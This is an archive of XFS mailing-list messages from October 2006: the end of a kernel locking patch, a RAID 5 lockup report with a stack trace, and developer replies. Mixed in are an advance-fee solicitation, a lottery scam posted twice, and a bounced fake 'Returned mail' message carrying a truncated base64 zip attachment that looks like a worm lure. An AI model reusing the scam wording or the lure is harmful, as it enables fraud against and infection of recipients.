xfs_iunpin that the linux inode will always be + * referencable because it won't be freed until after this wait and no + * new transactions can be issued on this inode now. + */ vn_iowait(vp); + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_iunpin_wait(ip); ASSERT(XFS_FORCED_SHUTDOWN(ip->i_mount) || ip->i_delayed_blks == 0); @@ -3834,12 +3844,12 @@ xfs_reclaim( * itself. */ if (!ip->i_update_core && (ip->i_itemp == NULL)) { - xfs_ilock(ip, XFS_ILOCK_EXCL); xfs_iflock(ip); return xfs_finish_reclaim(ip, 1, XFS_IFLUSH_DELWRI_ELSE_SYNC); } else { xfs_mount_t *mp = ip->i_mount; + xfs_iunlock(ip, XFS_ILOCK_EXCL); /* Protect sync from us */ XFS_MOUNT_ILOCK(mp); vn_bhv_remove(VN_BHV_HEAD(vp), XFS_ITOBHV(ip)); Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-10-11 14:01:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-10-11 14:34:57.376058950 +1000 @@ -482,6 +482,7 @@ void xfs_iext_realloc(xfs_inode_t *, in void xfs_iroot_realloc(xfs_inode_t *, int, int); void xfs_ipin(xfs_inode_t *); void xfs_iunpin(xfs_inode_t *); +void xfs_iunpin_wait(xfs_inode_t *); int xfs_iextents_copy(xfs_inode_t *, xfs_bmbt_rec_t *, int); int xfs_iflush(xfs_inode_t *, uint); void xfs_iflush_all(struct xfs_mount *); From owner-xfs@oss.sgi.com Wed Oct 11 00:07:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 00:08:09 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9B77waG025285 for ; Wed, 11 Oct 2006 00:07:59 -0700 X-ASG-Debug-ID: 1160546823-12625-202-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9AAB148845D for ; Tue, 10 Oct 2006 23:07:04 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id o25so238921nfa for ; Tue, 10 Oct 2006 23:07:02 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=jQf1J+qjBROu+vKTOSsyWh1/zxp787p/57Oc+tMefJsy6kclnlmhiWgR5at6+XsO/D7GKVASlRszkzveYHnaQEZLNWSvdFaLswJe5dc7LPeSx2Eh8gcuvPtDz73bFDMQLMjSQHncsTmXQtxoLuR/QfbO7eUUyzvO4c6FVjm3sKI= Received: by 10.48.163.19 with SMTP id l19mr2548313nfe; Tue, 10 Oct 2006 23:07:02 -0700 (PDT) Received: by 10.49.33.15 with HTTP; Tue, 10 Oct 2006 23:07:02 -0700 (PDT) Message-ID: Date: Wed, 11 Oct 2006 01:07:02 -0500 From: "Ian Williamson" To: xfs@oss.sgi.com X-ASG-Orig-Subj: Software raid 5 with XFS causing strange lockup problems Subject: Software raid 5 with XFS causing strange lockup problems MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9248 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: notian@gmail.com Precedence: bulk X-list: xfs Status: O I am running XFS on a software raid 5. I am doing this with a PCI controller with 4 SATA drives attached to it. When I play my music over the network through Samba from the raid volume my audio client will often loose the connection. This isn't remediated until I restart the machine with the raid controller or wait for an unknown amount of time. Either way, the problem still persists. Initially I though that this was Samba's fault, but I think it may be xfs related due to what was in /var/log/messages: Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod ide_generic processor Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: 0060:[] Not tainted VLI Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 (2.6.18 #1) Oct 9 22:37:33 ionlinux kernel: [105657.984000] [] xfs_bmap_search_extents+0xdc/0x100 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.984083] [] xfs_bmapi+0x302/0x2840 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.984163] [ide_dma_exec_cmd+48/64] ide_dma_exec_cmd+0x30/0x40 Oct 9 22:37:33 ionlinux kernel: [105657.984228] [ide_dma_start+51/80] ide_dma_start+0x33/0x50 Oct 9 22:37:33 ionlinux kernel: [105657.984294] [mempool_alloc+58/224] mempool_alloc+0x3a/0xe0 Oct 9 22:37:33 ionlinux kernel: [105657.984360] [cfq_set_request+447/752] cfq_set_request+0x1bf/0x2f0 Oct 9 22:37:33 ionlinux kernel: [105657.984425] [do_timer+1117/3040] do_timer+0x45d/0xbe0 Oct 9 22:37:33 ionlinux kernel: [105657.984489] [scheduler_tick+275/800] scheduler_tick+0x113/0x320 Oct 9 22:37:33 ionlinux kernel: [105657.984556] [] xfs_inactive_free_eofblocks+0x123/0x340 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.984643] [] xfs_inactive+0xfa/0xcb0 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.984723] [kmem_freepages+118/160] kmem_freepages+0x76/0xa0 Oct 9 22:37:33 ionlinux kernel: [105657.984784] [slab_destroy+60/208] slab_destroy+0x3c/0xd0 Oct 9 22:37:33 ionlinux kernel: [105657.984845] [__pagevec_release_nonlru+49/144] __pagevec_release_nonlru+0x31/0x90 Oct 9 22:37:33 ionlinux kernel: [105657.984910] [memmove+80/112] memmove+0x50/0x70 Oct 9 22:37:33 ionlinux kernel: [105657.984973] [] xfs_iextract+0x90/0x150 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985053] [] xfs_ilock+0x8e/0xc0 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985132] [] xfs_idestroy+0x65/0x90 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985212] [] xfs_finish_reclaim+0x10f/0x150 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985294] [] xfs_reclaim+0x118/0x120 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985375] [] xfs_fs_clear_inode+0x42/0x80 [xfs] Oct 9 22:37:33 ionlinux kernel: [105657.985456] [dquot_drop+0/128] dquot_drop+0x0/0x80 Oct 9 22:37:33 ionlinux kernel: [105657.985519] [clear_inode+153/304] clear_inode+0x99/0x130 Oct 9 22:37:33 ionlinux kernel: [105657.985582] [dispose_list+30/192] dispose_list+0x1e/0xc0 Oct 9 22:37:33 ionlinux kernel: [105657.985642] [__activate_task+41/64] __activate_task+0x29/0x40 Oct 9 22:37:33 ionlinux kernel: [105657.985704] [shrink_icache_memory+462/528] shrink_icache_memory+0x1ce/0x210 Oct 9 22:37:33 ionlinux kernel: [105657.985767] [shrink_slab+297/400] shrink_slab+0x129/0x190 Oct 9 22:37:33 ionlinux kernel: [105657.985830] [kswapd+718/1120] kswapd+0x2ce/0x460 Oct 9 22:37:33 ionlinux kernel: [105657.985893] [autoremove_wake_function+0/96] autoremove_wake_function+0x0/0x60 Oct 9 22:37:33 ionlinux kernel: [105657.985960] [kswapd+0/1120] kswapd+0x0/0x460 Oct 9 22:37:33 ionlinux kernel: [105657.986019] [kthread+253/272] kthread+0xfd/0x110 Oct 9 22:37:33 ionlinux kernel: [105657.986079] [kthread+0/272] kthread+0x0/0x110 Oct 9 22:37:33 ionlinux kernel: [105657.986139] [kernel_thread_helper+5/16] kernel_thread_helper+0x5/0x10 When I SSH into the machine I performed a "ps aux" command and noticed that there were a lot of /usr/bin/smbd -U processes running In addition to this is, when I am SSHed into the machine and I attempt to copy files or directories to or from the volume the ssh window stops responding and I am forced to close the connection and open a new one. Performing massive reads and writes has also caused the physical terminal(?) to freeze when I am using the machine (i.e. not sshed/using the thing locally) Does anyone have any idea what might be causing this? The raid controller card or my XFS setup? From owner-xfs@oss.sgi.com Wed Oct 11 02:40:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 02:41:11 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9B9ewaG010813 for ; Wed, 11 Oct 2006 02:40:59 -0700 X-ASG-Debug-ID: 1160555573-30849-660-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web.goldenxs.nl (www.goldenxs.nl [213.189.2.193]) by cuda.sgi.com (Spam Firewall) with ESMTP id C402AD189EF6 for ; Wed, 11 Oct 2006 01:32:53 -0700 (PDT) Received: by web.goldenxs.nl (Postfix, from userid 33) id D9989197DC2; Wed, 11 Oct 2006 10:32:08 +0200 (CEST) To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: GREETINGS FROM CHINA!! Subject: GREETINGS FROM CHINA!! From: Mou Xinsheng Reply-To: xinsheng_mou71@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: <20061011083208.D9989197DC2@web.goldenxs.nl> Date: Wed, 11 Oct 2006 10:32:08 +0200 (CEST) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23020 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9249 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: mou@yahoo.com.cn Precedence: bulk X-list: xfs Status: O Hello, I want to solicit your attention to recieve money on my behalf. The purpose of my contacting you is because you live in western world. When you reply this message,i will send you the full details and more information about myself and the funds. My personal email is: xinsheng_mou71@yahoo.com.hk Mou Xinsheng. From owner-xfs@oss.sgi.com Wed Oct 11 03:00:13 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 03:00:24 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9BA09aG012885 for ; Wed, 11 Oct 2006 03:00:11 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA21759; Wed, 11 Oct 2006 19:59:15 +1000 Date: Wed, 11 Oct 2006 19:59:14 +1000 From: Timothy Shimmin To: Rene Salmon cc: Shailendra Tripathi , Chris Wedgwood , xfs@oss.sgi.com Subject: Re: LVM and XFS cannot set blocksize on block device Message-ID: <2C085E259B9DC6D3BAB2BCB2@boing.melbourne.sgi.com> In-Reply-To: <4526BE61.8020305@tulane.edu> References: <45185424.2030707@tulane.edu> <20060926001737.GA10224@tuatara.stupidest.org> <45193204.3030500@tulane.edu> <20060926224053.GA31542@tuatara.stupidest.org> <451A669D.9020503@agami.com> <452212CB.60103@sgi.com> <4526BE61.8020305@tulane.edu> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9250 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi Rene, --On 6 October 2006 3:36:49 PM -0500 Rene Salmon wrote: > We are currently running SLES 10 on this box. I have called IBM and they > submitted a bug report to Novell and LTC Bugzilla 28003. Ok. > > Is this all we need to do to get the patch into maybe SLES 10 SP1? > We will have an xfsprogs update (which will include this fix amongst others) for sles10 sp1. Cheers, Tim. From owner-xfs@oss.sgi.com Wed Oct 11 06:51:04 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 06:51:12 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BDp3aG004996 for ; Wed, 11 Oct 2006 06:51:04 -0700 X-ASG-Debug-ID: 1160574621-23405-2-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp14.tin.it (vsmtp14.tin.it [212.216.176.118]) by cuda.sgi.com (Spam Firewall) with ESMTP id A55B5D18C1D9 for ; Wed, 11 Oct 2006 06:50:21 -0700 (PDT) Received: from pswm7.cp.tin.it (192.168.70.27) by vsmtp14.tin.it (7.2.072.1) id 45056F47006BBF3A; Wed, 11 Oct 2006 15:36:50 +0200 Message-ID: <10e3796f563.dlottodlotto12@virgilio.it> Date: Wed, 11 Oct 2006 14:36:50 +0100 (GMT+01:00) From: Reply-To: X-ASG-Orig-Subj: Lucky No: 425448/7785 Subject: Lucky No: 425448/7785 Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" Content-Transfer-Encoding: 7bit X-Originating-IP: 62.177.188.19 X-Barracuda-Spam-Score: 2.82 X-Barracuda-Spam-Status: No, SCORE=2.82 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MAILTO_TO_SPAM_ADDR, MISSING_HEADERS, NO_REAL_NAME, SARE_FRAUD_X3, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.19 MISSING_HEADERS Missing To: header 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9251 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dlottodlotto12@virgilio.it Precedence: bulk X-list: xfs Status: O Lucky No: 425448/7785 YOUR WINNING DETAILS Ref No: CHN/2551256007/11 Batch No: 14/0017/IPD serial No: GMLA2-003 Ticket No: 12033. Web site: www.staatsloterij.nl Contact Claim Agent: eulotteryagent00@netscape.net Attn: Lottery Winner, FINAL NOTICE NOTIFICATION. We are pleased to inform you of the result of the staatsloterij.nl lottery programs held on 10th of October 2006 with your e-mail address attached to one of the winning ticket numbers. You have therefore been approved for a lump sum pay out of 500,000,00 euros (Five Hundred Thousand Euros) CONGRATULATIONS!!!All participants were selected through a computer ballot system from our sponsors databases, including over 50,000 companies and 150,000 individual E- mail addresses and names submitted by our agents drawn from Asia, Africa, Europe, North And South America and around the world. To begin your claim, do file for the release of your winning by contacting our accredited agent: Mr. Smith Roland Foreign Transfer Manager, Tel: 0031-610732951 Fax: 0031-847595514 Email: eulotteryagent00@netscape.net NOTE: All winnings must be notarized to complete the claim process; winners will be referred to a Foreign Transfer Manager, to have their winnings notarized, all winners are to cover the legal charges not STAATSLOTERIJ. NL,Please note that you will be required to pay for the issuance of your winning certificate and all winnings must be claimed not later than 15th of Dec 2006,after this date all unclaimed winnings will be null and void. In Order to avoid unnecessary delays and complications remember to quote your reference number and batch numbers in all correspondence. Furthermore, should there be any change of address do inform our agents as soon as possible. You are advised to call your claim agent and also provide him with the following information: You Names: Phone/Fax number: Nationality: Ref Number: Batch Number: Ticket Number: Congratulations once more and thank you for being part of our promotional program.note: Anybody under the age of 18 is automatically disqualified. Yours faithfully Mrs.Martina Morgan, Contact your claims agent . From owner-xfs@oss.sgi.com Wed Oct 11 06:51:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 06:51:28 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BDpGaG005040 for ; Wed, 11 Oct 2006 06:51:17 -0700 X-ASG-Debug-ID: 1160570576-13049-857-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from osu1.php.net (osu1.php.net [140.211.166.39]) by cuda.sgi.com (Spam Firewall) with ESMTP id 560B5490305 for ; Wed, 11 Oct 2006 05:42:56 -0700 (PDT) Received: from [127.0.0.1] ([local]) by osu1.php.net (ecelerity 2.1.1.9-pre r(12769M)) with UNKNOWN id C0/00-00541-757EC254 for ; Wed, 11 Oct 2006 05:45:11 -0700 From: PHP Automoderator To: linux-xfs@oss.sgi.com Reply-To: X-ASG-Orig-Subj: PHP posting confirmation for linux-xfs@oss.sgi.com Subject: PHP posting confirmation for linux-xfs@oss.sgi.com Message-Id: <20061011124256.560B5490305@cuda.sgi.com> Date: Wed, 11 Oct 2006 05:42:56 -0700 (PDT) X-Barracuda-Spam-Score: 1.40 X-Barracuda-Spam-Status: No, SCORE=1.40 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M, MSGID_FROM_MTA_ID, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23031 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.50 BSF_RULE7568M BODY: Custom Rule 7568M 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) X-archive-position: 9252 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: confirm@php.net Precedence: bulk X-list: xfs Status: O This is an automatic reply to an email you sent to a PHP project mailing address protected by our 'self-moderation' system. To reduce the amount of spam received at these addresses, we require you to confirm that you're a real person before your email will be allowed through. All you have to do in order to have your original message sent is send an email to confirm@php.net with the following text (square brackets and all): [confirm: 695f5f1b8aef17f0a15935781efcd22a linux-xfs@oss.sgi.com] which you should be able to do simply by replying to this email. (Don't worry, any leading text added for quoting will simply be ignored.) After we have received your confirmation, "linux-xfs@oss.sgi.com" will be added to the list of pre-approved mail addresses for all of the PHP project mail addresses, your original message will be delivered, and future emails from that address will be delivered without delay automatically. You will not receive any confirmation of your confirmation -- your original message (and any other messages you have sent since then) will simply be sent to its original destination (possibly after a short delay). Sorry for the hassle, but the volume of unsolicited commercial email sent to these addresses has made this step necessary. --- Your original email is below. Return-Path: X-Host-Fingerprint: 91.76.23.61 ppp91-76-23-61.pppoe.mtu-net.ru Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) Received: from [91.76.23.61] ([91.76.23.61:3289] helo=oss.sgi.com) by osu1.php.net (ecelerity 2.1.1.9-pre r(12769M)) with ESMTP id 40/00-00541-357EC254 for ; Wed, 11 Oct 2006 05:45:10 -0700 Message-ID: <40.00.00541.357EC254@osu1.php.net> From: linux-xfs@oss.sgi.com To: fab@php.net Subject: Returned mail: see transcript for details Date: Wed, 11 Oct 2006 16:42:50 +0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0008_035A5E04.EBB70C5D" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0008_035A5E04.EBB70C5D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Your message was undeliverable due to the following reason: Your message could not be delivered because the destination server was unreachable within the allowed queue period. The amount of time a message is queued before it is returned depends on local configura- tion parameters. Most likely there is a network problem that prevented delivery, but it is also possible that the computer is turned off, or does not have a mail system running right now. Your message could not be delivered within 7 days: Mail server 136.175.117.68 is not responding. The following recipients did not receive this message: Please reply to postmaster@oss.sgi.com if you feel this message to be in error. ------=_NextPart_000_0008_035A5E04.EBB70C5D Content-Type: application/octet-stream; name="attachment.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="attachment.zip" UEsDBAoAAAAAAFllSzXj59n8wHAAAMBwAABSAAAAYXR0YWNobWVudC5odG1sICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA From owner-xfs@oss.sgi.com Wed Oct 11 07:07:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 07:07:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BE7baG006883 for ; Wed, 11 Oct 2006 07:07:38 -0700 X-ASG-Debug-ID: 1160570955-20956-194-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp3.tin.it (vsmtp3alice.tin.it [212.216.176.143]) by cuda.sgi.com (Spam Firewall) with ESMTP id 94BB4D18B404 for ; Wed, 11 Oct 2006 05:49:15 -0700 (PDT) Received: from pswm3.cp.tin.it (192.168.70.17) by vsmtp3.tin.it (7.2.072.1) id 450F0E2D00A2E6F0; Wed, 11 Oct 2006 14:17:11 +0200 Message-ID: <10e374e0cca.dlottodlotto12@virgilio.it> Date: Wed, 11 Oct 2006 13:17:11 +0100 (GMT+01:00) From: Reply-To: X-ASG-Orig-Subj: Lucky No: 425448/7785 Subject: Lucky No: 425448/7785 Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" Content-Transfer-Encoding: 7bit X-Originating-IP: 62.177.188.19 X-Barracuda-Spam-Score: 2.82 X-Barracuda-Spam-Status: No, SCORE=2.82 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MAILTO_TO_SPAM_ADDR, MISSING_HEADERS, NO_REAL_NAME, SARE_FRAUD_X3, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.19 MISSING_HEADERS Missing To: header 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9253 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dlottodlotto12@virgilio.it Precedence: bulk X-list: xfs Status: O Lucky No: 425448/7785 YOUR WINNING DETAILS Ref No: CHN/2551256007/11 Batch No: 14/0017/IPD serial No: GMLA2-003 Ticket No: 12033. Web site: www.staatsloterij.nl Contact Claim Agent: eulotteryagent00@netscape.net Attn: Lottery Winner, FINAL NOTICE NOTIFICATION. We are pleased to inform you of the result of the staatsloterij.nl lottery programs held on 10th of October 2006 with your e-mail address attached to one of the winning ticket numbers. You have therefore been approved for a lump sum pay out of 500,000,00 euros (Five Hundred Thousand Euros) CONGRATULATIONS!!!All participants were selected through a computer ballot system from our sponsors databases, including over 50,000 companies and 150,000 individual E- mail addresses and names submitted by our agents drawn from Asia, Africa, Europe, North And South America and around the world. To begin your claim, do file for the release of your winning by contacting our accredited agent: Mr. Smith Roland Foreign Transfer Manager, Tel: 0031-610732951 Fax: 0031-847595514 Email: eulotteryagent00@netscape.net NOTE: All winnings must be notarized to complete the claim process; winners will be referred to a Foreign Transfer Manager, to have their winnings notarized, all winners are to cover the legal charges not STAATSLOTERIJ. NL,Please note that you will be required to pay for the issuance of your winning certificate and all winnings must be claimed not later than 15th of Dec 2006,after this date all unclaimed winnings will be null and void. In Order to avoid unnecessary delays and complications remember to quote your reference number and batch numbers in all correspondence. Furthermore, should there be any change of address do inform our agents as soon as possible. You are advised to call your claim agent and also provide him with the following information: You Names: Phone/Fax number: Nationality: Ref Number: Batch Number: Ticket Number: Congratulations once more and thank you for being part of our promotional program.note: Anybody under the age of 18 is automatically disqualified. Yours faithfully Mrs.Martina Morgan, Contact your claims agent . From owner-xfs@oss.sgi.com Wed Oct 11 07:16:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 07:16:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BEGXaG008473 for ; Wed, 11 Oct 2006 07:16:33 -0700 X-ASG-Debug-ID: 1160576149-23478-634-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2C73ED18D6AD for ; Wed, 11 Oct 2006 07:15:50 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 0F96018C6725F; Wed, 11 Oct 2006 08:53:53 -0500 (CDT) Message-ID: <452CF770.5050902@sandeen.net> Date: Wed, 11 Oct 2006 08:53:52 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Ian Williamson CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: Software raid 5 with XFS causing strange lockup problems References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9254 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Ian Williamson wrote: > I am running XFS on a software raid 5. I am doing this with a PCI > controller with 4 SATA drives attached to it. > > When I play my music over the network through Samba from the raid > volume my audio client will often loose the connection. This isn't > remediated until I restart the machine with the raid controller or > wait for an unknown amount of time. Either way, the problem still > persists. > > Initially I though that this was Samba's fault, but I think it may be > xfs related due to what was in /var/log/messages: > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > ide_generic processor > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > 0060:[] Not tainted VLI > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > (2.6.18 #1) It looks like you've edited this a bit too much, what came before this in the logs? Are you running on 4k stacks, out of curiosity? -Eric From owner-xfs@oss.sgi.com Wed Oct 11 09:22:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 09:22:45 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BGMZaG022487 for ; Wed, 11 Oct 2006 09:22:36 -0700 X-ASG-Debug-ID: 1160583712-27987-586-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.191]) by cuda.sgi.com (Spam Firewall) with ESMTP id A10B4D18D6D2 for ; Wed, 11 Oct 2006 09:21:53 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id o25so446289nfa for ; Wed, 11 Oct 2006 09:21:52 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=LDgbw4VYLejKgYzqOAdTapbKE40+c2cD+AU7hYM5Tjb1IxRsOZDw4/BQfiXqMkMqUSU88C4S50C9m4iNuIRANEb0CtcfGahoXl7B0URzenSkFGL8HJ3KyH8pwgWpatMiHW3Dl6A37fcHboogcY05mHx0EDeBb9Rij7nd0Akb130= Received: by 10.49.8.10 with SMTP id l10mr3515122nfi; Wed, 11 Oct 2006 09:21:51 -0700 (PDT) Received: by 10.49.33.15 with HTTP; Wed, 11 Oct 2006 09:21:51 -0700 (PDT) Message-ID: Date: Wed, 11 